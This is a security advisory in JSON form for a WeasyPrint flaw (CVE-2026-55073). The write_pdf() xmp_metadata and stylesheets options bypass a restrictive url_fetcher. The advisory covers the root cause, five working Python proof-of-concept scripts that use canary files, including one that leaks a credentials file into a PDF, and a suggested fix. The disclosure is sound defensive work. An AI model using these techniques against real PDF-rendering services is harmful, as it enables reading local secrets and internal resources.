CVE-2026-55073: Weasyprint Weasyprint Has Server-Side Request Forgery Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jf6q-chmf-3h3v",
  "modified" : "2026-09-09T18:06:38Z",
  "published" : "2026-09-09T18:06:38Z",
  "aliases" : [ "CVE-2026-55073" ],
  "summary" : "weasyprint Has Server-Side Request Forgery (SSRF)",
  "details" : "## Summary\n\n`url_fetcher` is WeasyPrint's documented mechanism for restricting resource loading - applications use it to block `file://`, internal hosts, etc. when rendering untrusted input.\n\nTwo `write_pdf()` channels ignore the document's `url_fetcher` and build a fresh default `URLFetcher()` instead. A restrictive fetcher set on `HTML()` is silently bypassed for:\n\n- **`xmp_metadata=[url]`** - the URL is fetched and the bytes are embedded verbatim in the output PDF. This is an **arbitrary local file read** when the path is attacker-influenced.\n- **`stylesheets=[url_or_path]`** - the sheet is fetched and applied. This is **SSRF / arbitrary local-or-internal resource loading**, and it is **transitive**: the permissive fetcher propagates through the whole `@import` / `url()` graph.\n\nApplications affected are those that (1) run WeasyPrint server-side, (2) set a restrictive `url_fetcher` to block `file://` or internal hosts, and (3) forward an attacker-influenced URL/path into either parameter - e.g. PDF rendering APIs, invoice/report generators, document SaaS.\n\n## Affected versions\n\nAll versions through current `main` - v69.0, commit `2945986160dedd97a7547be03805b667964e422a`.\n\n## Root cause\n\n`select_source()` defaults to a fresh fetcher when none is passed (`weasyprint/urls.py`):\n\n```python\ndef select_source(guess=None, filename=None, url=None, ..., url_fetcher=None, ...):\n    ...\n    if url_fetcher is None:\n        url_fetcher = URLFetcher()\n```\n\nFive of the seven resource-loading sites thread the document's fetcher correctly:\n\n- `<link rel=stylesheet>` in `weasyprint/css/__init__.py`\n- `<style>` in `weasyprint/css/__init__.py`\n- `@import` in `weasyprint/css/__init__.py`\n- `@font-face` / `local()` in `weasyprint/text/fonts.py`\n- `@color-profile src` in `weasyprint/css/__init__.py`\n- images (`<img>`, CSS `url()`, SVG) in `weasyprint/images.py`\n\nTwo do **not** — they build a fresh default fetcher instead:\n\n- `write_pdf(xmp_metadata=[...])` in `weasyprint/pdf/__init__.py`\n- `write_pdf(stylesheets=[str])` in `weasyprint/document.py`\n\n**`xmp_metadata`** - `pdf/__init__.py` calls `select_source(url)` with no `url_fetcher`, so the default fetcher runs regardless of what the caller configured:\n\n```python\nif options['xmp_metadata']:\n    for url in options['xmp_metadata']:\n        result = select_source(url)          # no url_fetcher\n```\n\n**`stylesheets`** - `document.py` builds each sheet without passing `url_fetcher`, and `CSS.__init__` then defaults to a fresh `URLFetcher()`:\n\n```python\nfor css in options['stylesheets'] or []:\n    if not hasattr(css, 'matcher'):\n        css = CSS(                            # no url_fetcher=html.url_fetcher\n            guess=css, media_type=html.media_type,\n            font_config=font_config, counter_style=counter_style,\n            color_profiles=color_profiles)\n```\n\nBecause `@import` / `url()` inherit a CSS object's fetcher, the permissive fetcher propagates to the entire import graph - so the bypass is transitive.\n\n## Reproduction\n\nEach script defines a `Block` fetcher that refuses every `file://`, writes its own fixture to a temp dir, and prints a boolean. `True` means the restrictive fetcher was bypassed. No external files or network needed.\n\n### 1 - `xmp_metadata=` reads a `file://` the fetcher blocks\n\n```python\nimport os, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n    def fetch(self, url, headers=None):\n        if url.lower().startswith('file:'):\n            raise ValueError('blocked ' + url)\n        return super().fetch(url, headers)\n\nd = tempfile.mkdtemp()\npath = os.path.join(d, 'secret.xmp')\nopen(path, 'wb').write(b'CANARY_XMP_LEAK_7f3a9c')\npdf = HTML(string='<p>hi</p>', url_fetcher=Block()).write_pdf(\n    xmp_metadata=['file://' + path], pdf_variant='pdf/a-3b', uncompressed_pdf=True)\nprint('secret file leaked into PDF:', b'CANARY_XMP_LEAK_7f3a9c' in pdf)\n# -> True\n```\n\n(`pdf_variant='pdf/a-3b'` makes the embedded bytes observable in the output; the read happens regardless of variant.)\n\n### 2 - `stylesheets=` applies a blocked `file://` sheet (with control)\n\n```python\nimport os, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n    def fetch(self, url, headers=None):\n        if url.lower().startswith('file:'):\n            raise ValueError('blocked ' + url)\n        return super().fetch(url, headers)\n\nd = tempfile.mkdtemp()\npath = os.path.join(d, 'evil.css')\nopen(path, 'w').write('@page { size: 1234px 5678px }')\n\ndoc = HTML(string='<p>x</p>', url_fetcher=Block()).render(stylesheets=['file://' + path])\np = doc.pages[0]\nprint('evil.css applied via stylesheets=:', (round(p.width), round(p.height)) == (1234, 5678))\n# -> True\n\n# Control: the same sheet via <link rel=stylesheet> is NOT applied (the fetcher blocks it;\n# WeasyPrint logs and continues), so the page keeps its default A4 size. This confirms the\n# gap is specific to stylesheets= and not a misconfigured fetcher.\nctrl = HTML(string='<link rel=\"stylesheet\" href=\"file://%s\"><p>x</p>' % path,\n            url_fetcher=Block()).render()\ncp = ctrl.pages[0]\nprint('control <link> correctly blocked:', (round(cp.width), round(cp.height)) != (1234, 5678))\n# -> True\n```\n\n### 3 - the `stylesheets=` bypass is transitive\n\n```python\nimport os, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n    def fetch(self, url, headers=None):\n        if url.lower().startswith('file:'):\n            raise ValueError('blocked ' + url)\n        return super().fetch(url, headers)\n\nd = tempfile.mkdtemp()\ninner = os.path.join(d, 'inner.css')\nouter = os.path.join(d, 'outer.css')\nopen(inner, 'w').write('@page { size: 333px 777px }')\nopen(outer, 'w').write('@import url(\"file://%s\");' % inner)\ndoc = HTML(string='<p>x</p>', url_fetcher=Block()).render(stylesheets=['file://' + outer])\np = doc.pages[0]\nprint('nested @import applied transitively:', (round(p.width), round(p.height)) == (333, 777))\n# -> True\n```\n\n### 4 - `xmp_metadata=` discloses a credentials file in full\n\n```python\nimport os, json, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n    def fetch(self, url, headers=None):\n        if url.lower().startswith('file:'):\n            raise ValueError('blocked ' + url)\n        return super().fetch(url, headers)\n\ncreds = {'db_name': 'CANARY_DB_NAME', 'db_password': 'CANARY_PASSWORD_a3f7e9c2',\n         'encryption_key': 'CANARY_ENC_KEY_b8d4f6a1', 'secret_key': 'CANARY_SECRET_KEY_c5e9d2b7'}\nd = tempfile.mkdtemp()\npath = os.path.join(d, 'site_config.json')\njson.dump(creds, open(path, 'w'))\npdf = HTML(string='<p>x</p>', url_fetcher=Block()).write_pdf(\n    xmp_metadata=['file://' + path], pdf_variant='pdf/a-3b', uncompressed_pdf=True)\nprint('all credential fields leaked into PDF:', all(v.encode() in pdf for v in creds.values()))\n# -> True\n```\n\nAn attacker who controls the `xmp_metadata` path reads any file the rendering process can access and receives its contents in the generated PDF.\n\n### 5 - scope of the `stylesheets=` channel (honest bound)\n\nThe sheet is applied, but its content does not leak verbatim - CSS comments are stripped during parsing. So this channel is SSRF / resource application, **not** verbatim disclosure on its own.\n\n```python\nimport os, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n    def fetch(self, url, headers=None):\n        if url.lower().startswith('file:'):\n            raise ValueError('blocked ' + url)\n        return super().fetch(url, headers)\n\nd = tempfile.mkdtemp()\npath = os.path.join(d, 'secrets.css')\nopen(path, 'w').write('/* CANARY_SECRET_e2a8c5d4 */\\n@page { size: 999px 888px }')\nhtml = HTML(string='<p>x</p>', url_fetcher=Block())\ndoc = html.render(stylesheets=['file://' + path])\npdf = html.write_pdf(stylesheets=['file://' + path], uncompressed_pdf=True)\np = doc.pages[0]\nprint('sheet applied (bypass):', (round(p.width), round(p.height)) == (999, 888))   # -> True\nprint('comment leaked verbatim:', b'CANARY_SECRET_e2a8c5d4' in pdf)                  # -> False\n```\n\n## Suggested fix\n\nRoute both call sites through the document's `url_fetcher`, matching the five sites that already do this.\n\n- **`pdf/__init__.py`** - `select_source(url, url_fetcher=self.url_fetcher)`. (Alternatively, restrict `xmp_metadata` to byte strings so no URL fetching occurs.)\n- **`document.py`** - `CSS(guess=css, ..., url_fetcher=html.url_fetcher)`. This one change also closes the transitive case, since imported sheets inherit the parent's fetcher.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "weasyprint"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "70.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Kozea/WeasyPrint/security/advisories/GHSA-jf6q-chmf-3h3v"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Kozea/WeasyPrint"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Kozea/WeasyPrint/releases/tag/v70.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-09T18:06:38Z",
    "nvd_published_at" : null
  }
}